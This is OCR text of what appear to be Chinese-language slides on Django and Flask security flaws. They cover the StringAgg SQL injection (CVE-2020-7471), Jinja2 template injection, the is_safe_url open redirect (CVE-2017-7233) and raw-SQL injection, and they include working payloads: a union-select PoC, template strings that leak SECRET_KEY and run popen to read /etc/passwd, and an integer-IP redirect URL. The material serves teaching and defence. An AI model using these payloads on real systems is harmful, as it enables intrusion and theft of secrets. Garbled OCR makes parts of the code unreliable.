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Domain Available

netmail.tk is available
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Password Reset

Email: |owyugpdi@netmail.tk

Mail Delivery Subsystem -

tome =

Address not found ﬁjﬁ%%m& ﬁ%/ JE‘ o

ed to cwyugpdi@netmail.tk
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email) :

UserModel. default manager.filter (**{
L' % UserModel.get email field name(): email,

: True,

return (u for u in active users if u.has usable password())

» from django. contrib. auth import get user model

» email = ’cwyugpdi@netmas 1. tk’

» UserModel = get user model ()
>> UserModel. _default_manager. filter (¥*{' %s__iexact’ % UserModel.get email field name():
{QuerySet [<User: tOuma>]>

email,’is_active' : True,})
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_email field
1. default_manager.filte
ct’ % UserModel.get email field name(): email,

act’” % email field name: email,

tr{u, email field name))
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>>> re.match(xr’ [0-9a-zA-Z_]{0, 19} @qq. com’, "wiki@qq. com”) R
<_sre. SRE_Match object; span=(0, 11), match= wiki@qq. com’ )k . REhEid
>>> re.match(xr’ [0-9a-zA-Z_] {0, 19} @qq. com’, “wiki @qq. com”)
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20207F2 H3H, Django B 7 RAGZA G A | —MBdStringAge (rRRFF) LA A
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Django 1.11.x
Django 2.2.x
Django 3. 0. x
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StringAgg
class StringAgg(expression, delimiter, distinct=False, filter=None, ordering=())
Returns the input values concatenated into a string, separated by the delimiter string.
delimiter
Required argument. Needs to be a string.
distinct
An optional boolean argument that determines if concatenated values will be distinct. Defaults to False.

ordering

New in Django 2.2.

An optional string of a field name (with an optional " =" prefix which indicates descending order) or an

expression (or a tuple or list of strings and/or expressions) that specifies the ordering of the elements in the
result string.

Examples are the same as for ArrayAgg.ordering.
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11 lgdef create_data():

12 data = [('t1', 'al' 'c1"'), ('t2','a2"', 'c2"), ("t3','a3"', 'c3"'), ('t4', 'a4', 'c4')]
13 for title,author country in data:

14 Article.objects.get_or_create(title=title, avthor=author country=country)
15
16 2

17 print("[+]EFBEL: ")

18 payload = ';'

19 results = Article.objects.aggregate(result=StringAgg('title', delimiter=payload))
20 - print(results)

21 E:ﬂ:

22 print("[+13EA ML ")

23 payload = ':\') FROM "test_app_article" union select user --'

24 results = Article.objects.aggregate(result=StringAgg('title’', delimiter=payload))
25 print(results)

26 mmwn
27 » Dif __name__ == '__main__":
28 '!' craata_data.

if _name main_'

[+] E®HL.
{'result': "t1;t2;t3;t4'}




if params is None:
# params default might be backend specific.
return self.cursor.execute(sql)

else:

def _executemany(self, sqgl, param_list, xignored_wrapper_args):
self.db.validate_no_broken_transaction()
with self.db.wrap_database_errors:
return self.cursor.executemany(sgl, param_list)

94 @] class CursorDebugWrapper(CursorWrapper):

CursorWrapper * execute() » with self.db.wrap database erro.. @ else




F 1 % = payload:

>\’ ) FROM “test app acticle” union select user —




11 édef create_data():

12 data = [('t1', 'al','cl'),('t2', 'a2', '¢c2"'), ('t3' 'a3"', 'c3') ("t4' 'a4', 'c4')]
13 for title author country in data:

14 Article.objects.get_or_create(title=title, author=author, country=country)
15
16 5

17 print("[+]EFM&EL: ")

18 payload = "'

19 results = Article.objects.aggregate(result=StringAgg('title’', delimiter=payload))
20 print(results)

21
22 print("[+1iEABRIEEL: ")

23 payload = ':\') FROM "test_app_article" union select user --'

24 results = Article.objects.aggregate(result=StringAgg('title’', delimiter=payload))
25 print(results)

i utils.py 2%
27 i name ==
28 create_datal()
29 query.

[+ EFRYSL
{'result': 't1;t2;t3;t4a'}

[+ 15/ BRI T -
{'result': 'postgres'}
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[ Project » @D = ® — i models.py e test.py e utils.py
Wk el mLUUUJ\J_\JIIUIJl
¥ Bm CVE-2020-7471 _ .
) if params 1s None:
> B project ) : .,
# params default might be backend specific.
¥ Em test app
> P migrations return .cursor.execute(sql)
# admin.py 86 return .cursor.execute(sql, params)
fe apps.py
f& models.py def _executemany( , sgl, param_list, xignored_wrapper_args):
i tests.py .db.validate_no_broken_transaction()
e views.py with .db.wrap_database_errors:
s manage.py return .cursor.executemany(sql, param_list)
i poc.py
4 README.md
i test.py } i class CursorDebugWrapper(CursorWrapper):
¥_lili External Libraries CursorWrapper & _execute() * with self.db.wrap database erro... ' else
Debug: @ test
a  Debugger E} Console = 2 r & I > H
Frames Variables
MainThread - J +° i= ignored wrapper_args = {tuple: 2} (False, {'connection: <django.db.backends.postgresql.base.DatabaseWrapper object at 0x00000269276948E0>, '
= . P i= params = {tuple
rn_execute, ST P = self = {Cur Wrapper} <django.db.backends.postgresql.base.CursorDebugWrapper object at 0x00000269278F3040=
I_u sql = {str] "SELECT STRING_AGG("test app_article"."title", \';\') FROM "test app _article" union select user --\') AS "result" FROM "test app_article™
O
2
=

g 2620
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class StringAgg(OrderableAggMixin, Aggregate):
function "STRING AGG'

"o

template 6(function)s(%(distinct)s%(expressions)s, ‘%(delimiter)s'%(ordering)s)”
template = "%(function)s(%(distinct)s¥%(expressions)s %(ordering)s)’

allow distinct = True

def 1nit (self, expression, delimiter, **extra):
init (expression, delimiter=delimiter, **extra)
delimiter expr = Value(str(delimiter))

super(). 1init (expression, delimiter expr, **extra)

def convert value(self, value, expression, connection):

it not value:

g 5020




def _execute(self, sql, params, *ignored_wrapper_args): self: <django.db.backends.postgresql.base.CursorDebuglirapper object ai
self.db.validate_no_broken_transaction()
with self.db.wrap_database_errors:
if params is None:
# params default might be backend specific.
return self.cursor.execute(sql)
else:

def _executemany(self, sql, param_list, xignored_wrapper_args):
self.db.validate_no_broken_transaction()

[ sqgl = {str} 'SELECT STRING_AGG("test_app_article"."title" ORDER BY %s) AS "result" FROM "test _app_article™
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Django H it —MFr N DTL (Django Template Language ) HIFAMRIES, PAN A —FRATH] Jinja2 (FE

LR A 451

—idef safe(request, name="Guest"): def danger(request, name="Guest"):
engine = engines['jinja2'] engine = engines['jinja2']
template = engine.get_template(' index.htnl') template = engine.from_string(f"<hl>Hello {name} </h1>")

9 context = { return HttpResponse(template.render({}, request))

‘ ‘name': name,

}
A return HttpResponse(template.render(context, request))
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def safe(request, name= ):
engine = engines[ ]
template = engine.get_template( )
context = {
: name,
}

return HttpResponse(template.render(context, request))

C @ localhost:8000/safe/%7B%7Bself%7D% 7L

Hello {{self}}

g 2620
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def danger(request, name= ):
engine = engines[ ]
template = engine.from_string( {name} )

return HttpResponse(template.render({}, request))

< C @ localhost:8000/danger/%7B%7Bself%70%7D

Hello <TemplateReference None>

g 2620
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Hlsecret—key payload:

{{request.user.user_permissions.model. meta.app_config.module.admin.settings.SECRET KEY}}

&« C ) localhos anger/%7BX%7BreqL user.user_permissions.model._meta.app_config.module.admin.settings. SECRET_KEY%7D%7D

Hello 4m$|5$$s@-qtb 3+rf—m3|ItO(z7@+kbh*&@t0515e3f)%9dfu

g 5620
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2 Tpayload:

%7B%7B[]. class . base . subclasses ()[132]. init . globals ['popen’](‘cat%20%(ech
%20L2VOYy9WYXde2QK%7Cbase64%20 -d)").read()%7D%7D

& ® loca anger/%7B%7B[._class_._base_._subclasses_()[132]._| _globals_['popen’ $(echo%20L y AK? 20 %70
Hello root:x:0:0::/root:/bin/bash bin:x:1:1: //uerbln/noIogln daemon:x:2:2::/:/usr/bin/nologin

mail:x:8:12::/var/spool/mail:/usr/bin/nologin ftp:x:14:11::/srv/ftp:/usr/bin/nologin http:x:33:33::/
nobody:x:65534:65534:Nobody:/:/ust/bin/nologin dbus:x:81:81:System Message Bus:/:/ust/bin
remote:x:982:982:systemd Journal Remote:/:/usr/bin/nologin systemd-network:x:981:981:syste
Management:/:/ust/bin/nologin systemd-resolve:x:980:980:systemd Resolver:/:/usr/bin/nologin

timesync:x:979:979:systemd Time Synchronization:/:/usr/bin/nologin systemd-coredump:x:978
Dumper:/:/usr/bin/nologin uuidd:x:68:68::/:/usr/bin/nologin avahi:x:977:977:Avahi mDNS/DNS-$
colord:x:976:976:Color management daemon:/var/lib/colord:/usr/bin/nologin lightdm:x:975:97
Manager:/var/lib/lightdm:/usr/bin/noloqin polkitd:x:102:102:PolicyKit daemon:/:/ust/bin/nologi
system helper:/:/usr/bin/nologin gdm:a:120:120:Gnome Display Manager:/var/lib/gdm:/usr/bin/
geoclue:x:971:971:Geoinformation service:/var/lib/geoclue:/usr/bin/nologin git:x:970:970:git ds

g 5620
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A 7741 (CVE-2017-7233)

Django#&Djangoik 4 # & 2 ) — &3 T-Pythonis 5 I T IRWeb N FIHEZE . iZAHEZL (045
[ A0 R A . B RS, BR RSG5 . Django A E T ICE & il . Bl
A A % R i S s v AR B . DU AR S 2520 Django1.10.7 Z 8/ 1. 10/ A,
1.9.13Z BT 1.90RAS, 1.8.18ZHI 1.9/ A .

2R A i A

Django 1.8.0 < x < 1.8.1
Django 1.9.0 < x< 1.9.1
Django 1.10.0 < x < 1.10.
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Soikikis safe urlEREL:

Django.utils.http.is_safe url(url, host=None, allowed hosts=None,
require_https=False)




— . V%A 5 3 (CVE-2017-7233)

Soikikis safe urlEREL:

> Eg:
1:
>>> from django.utils. http import is safe url
>>> is safe url C /xxxx/")
True

>>> is safe url (C http://test. com/xxx/")
False

>>> is safe url ( https://test. com/xxx/")
False

>>> is safe url(C https://test. com/xxx/’, ~test.com )
True
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> urllib. parse. urlparsefJ RS O

> In] U A% R O I 44 AN VR R, S22k Tourllib.parse.urlparse ), YRS W1
(django/utils/http.py):

def

_is safe url(url, host):

# Chrome considers any URL with more than two slashes to be absolute, but

# urlparse is not so flexible. Treat any url with three slashes as unsafe.

if url.startswith('///"):

return False

url info = urlparse(url)
- (e nttp:///example.com - with a scheme, but without a hostname.

# In thdt HRL, example.com is not the hostname but, a path component. However,

# Chrome will still consider example.com to be the hostname, so we must not

# allow this syntax.

if not url info.netloc and url info.scheme:
return False

# Forbid URLs that start with control characters. Some browsers (like
# Chrome) ignore quite a few control characters at the start of a
# URL and might consider the URL as scheme relative.
if unicodedata.category(url[e])[e] 'c':
return False
return ((not url info.netloc or url info.netloc == host) and
(not url info.scheme or url info.scheme in ['http’, 'https'])ﬂ
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> EQg:

>>> urlparse( http://www. test. com/xxxx/")
ParseResult (scheme=" http’, netloc=" www. test.com , path= /xxxx/ , params= , query= ,
fragment="")

>>> urlparse ( ftp:222’)
ParseResult (scheme="", netloc="", path=" ftp:222’, params= ", query= , fragment="")

>>> urlparse C http:222’)
ParseResult (scheme="http’, netloc=", path= ‘222", params= ", query= , fragment= ")

>>> urlparse ( https:222’)
ParseResult (scheme="", netloc=", path= https:222’, params=, query= , fragment= ")

>>> urlparse ( ftp:xxxx' )
ParseResult (scheme=" ftp’, netloc=", path= ‘xxxx , params= , query= , fragment= ")

>>> urlparse( ‘https:127.0.0.17)
ParseResult (scheme= ‘https’, netloc="", path= 127.0.0.1", params= ", query= , fragment= ")




> IRIEurlparsefVFkIER, AJLABHFEUrEERKIR:
>>> is safe url('http:2222")
False

>>> is_safe url('ftp:2222")
True

>>> is safe url('https:2222")
True

faiEn]fEFEAYpayload:

EEHEERNE L NIP, 5P AR, Whttps:2130706433 = https://127.0.0.1/
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from django. http import HttpResponseRedirect
from django.utils. http import is safe url
def hello(request) :
url = request.GET. get ("url”, ')
if is safe url (url, host="www. baidu. com”) :
return HttpResponseRedirect (url)
else:
return HttpResponseRedirect (/)

Pilalhttp://127.0. 0. 1:8000/2url=https: 20674447435, ELHEHLEE Blwww. 163. com, 11 E
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€ B, https://www.163.com/?referFrom= wBe ¥ a0 09 - - =
INT v = @& SQL- XSS- Encryption- Encoding- Other-

@ Load URL | http://127.0.0.1:8000/?url=https:2067444743
% Split URL

» Execute

[ ] Enable Post data [ ] Enable Referrer

A B am@- P& ¥ 7v &

fR 3 NevEase D RBHE wolt A O Py

www-163.com

HE == BF T @8 % NBA i HE F B& BEF B PGC ATHE RE WE AE ! e nE NS
RE HE Sk SH Me BE B Bl WBE A 28 =7 BE ZxE 8 @BE OEF SRR fKE WE mE 0 ZX lE

¥ % € > V= jepm wTML css WA DOM | B v | Cookies
Bk | |23 HIML CSS JavaScript XHR ER &4 ik K

URL | Ik | & Foir | =B 1P
GET ?url=https:2067444743 127.0.0.1:8000 0B

# GET ?url=https:2067444743 302 Found 127.0.0.1:8000 0B 127.0.0.1:8000
GET www.163.com 163.com 0B

# GET ?url=https:2067444743 302 Found 127.0.0.1:8000 0B 127.0.0.1:8000

+ GET www.163.com 200 OK 163.com 94.5KB 183.47.233.10:80
GET head~32770dd1cd0d3.cs: static.ws.126.net 0B

DINonna headcss-el atic. vy b.ne 0B

g 5020
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# Copied from urllib.parse.urlparse() but uses fixed urlsplit() function.
def ~lparse(url, scheme='"', allow fragments=True):

(scheme, netloc, path, params, query, fragment).
Note that we don't break the co nents up in smaller bits
(e.g. netloc is a single string) and we don't expand % escapes.”""
if _coerce_args:
url, scheme, = coerce_args(url, scheme)

"3 odin url:
url, params = _splitparams(url)
else:
params
result = ParseResult(scheme, netloc, url, params, query, fragment)
return _coerce result(result) if _coerce_args else result

®hH0n | OF GOO&
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def _urlsplit(url, scheme='", allow_fragments=True):

_coerce_args:

url, scheme, _coerce_result = _coerce_args(url, scheme)
allow_fragments = bool(allow_fragments)
netloc auerv - fragment .
i=url.find(':")

i> e:

c url[:i]:
c scheme_chars:

scheme, url = url[:i].lower(), url[i + 1:]

url[:2] WA
netloc, url = _splitnetloc(url, 2)

oere netloc 1 netloc)
(']’ netloc iR netloc)):
ValueError("Invalid IPv6 URL")
allow_fragments #' url:
url, fragment = url.split('#', 1)
' url:
url, query = url.split('?', 1)

v = SplitResult(scheme, netloc, url, query, fragment)
_coerce_result(v) _coerce_args %

g 5620
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Fr e AT ATEAL-) A R AFRLIERe X-) EATERIRER-) V) R HIR s
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))) re. match(r [D—Qa—zA—Z ]{0 19}@(1{1 com : Wlkl@qq com )

<_sre. SRE_Match object: span=(0, 11), match— wiki@qq. com’ ) . Rl
>>> re.match(r’ [D—Qa—zA—Z_] {0, 19}@'qq- com , “wiki @qq. com”)

\.F_Egﬂazm
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MRS B W, R

REEFRSAT @G HCOK —BHER (AR, sqifrigBiss) , fEARRIHE P REEH-
(EARXS T3 LI R AR R, BT B S T2 2R R ETR CRARIERRIIGE R B 1EF)
AREIA IR H 5 IMES i i it (EESCPE B4R, sqiEATE) , H AT S, HILMEH .
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MRS B W, R

C @ github.con

,gender

sql =
dicteur

ject_da

Fequest.Torm. T pic

= ""'SELECT * fi products WHERE PID = '

1 =""" SELECT * from p
dictc execute(sql)

g 5620
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MRS B W, R

%%: i«% i ’fﬁ” : 1_: _ -:I roL - ' ~oduct’ ,methods=["GET", "POST"])

if reguest.method == 'GET':

pid = request.args.get('pid")

sgql = "''SELECT * from products WHERE PID = '{}';''".format(pid)

dictcursor.execute(sql)

TR 5245
#AEAAY R 8 SR FE A5
Class Products(db.Model):
__tablename__ ="“products”
pid = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)

pid = request.args.get('pid')
do_pid = Products .query.filter(Products.pid == pid ).first()

g 5620
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Django ' {# H/ORM:
#... 8 WS A i 454

pids = request.GET.get(" pid ")
do_pid = models.Products.objects.filter(pid=pids)

N

MRS 24 T EAZ, MPLLHEBE 2 AR BRI, RE,
{5 inDjangoE AL H1FIORMAESE, A AR HL S5
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